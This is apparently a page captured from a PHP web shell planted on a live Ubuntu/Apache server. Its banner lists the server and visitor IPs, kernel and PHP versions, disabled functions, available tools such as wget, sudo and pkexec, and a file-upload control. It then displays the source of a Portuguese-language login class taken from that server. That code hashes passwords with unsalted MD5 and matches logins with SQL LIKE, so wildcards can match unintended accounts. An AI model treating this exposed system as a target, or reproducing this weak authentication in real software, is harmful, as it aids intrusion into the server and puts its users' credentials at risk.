| Server IP : 20.75.53.88 / Your IP : 216.73.217.72 [ Web Server : Apache System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29+esm15 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, Domains : 3 Domains MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/apitce/dev/ext/ |
Upload File : |
<?php
class usuarios extends usuariosDAO
{
public function verificaLogin($login, $senha)
{
$senha1 = md5($senha);
$usuarios = $this->ObterLogin($login, $senha1);
if ($usuarios->getCod_usuario()) {
return $usuarios;
} else {
return FALSE;
}
}
public function ObterLogin($login, $senha)
{
# Faz conex�o
$conexao = new conexaoBanco();
$conexao->conectar();
# Executa comando SQL
$stmt = $conexao->pdo->prepare("SELECT cod_usuario, login, password, nome FROM usuarios WHERE login LIKE ? AND password LIKE ? ");
# Passando os valores a serem usados
$stmt->bindValue(1, '' . $login . '');
$stmt->bindValue(2, '' . $senha . '');
$stmt->execute();
$retorno = $stmt->fetchAll(PDO::FETCH_ASSOC);
//print_r($retorno);
#Inst�ncia da entidade
$usuariosBE = new usuariosBE();
foreach ($retorno as $row) {
#Atribui valores
$usuariosBE->setCod_usuario($row['cod_usuario']);
$usuariosBE->setLogin($row['login']);
$usuariosBE->setPassword($row['password']);
$usuariosBE->setNome($row['nome']);
}
return $usuariosBE;
}
}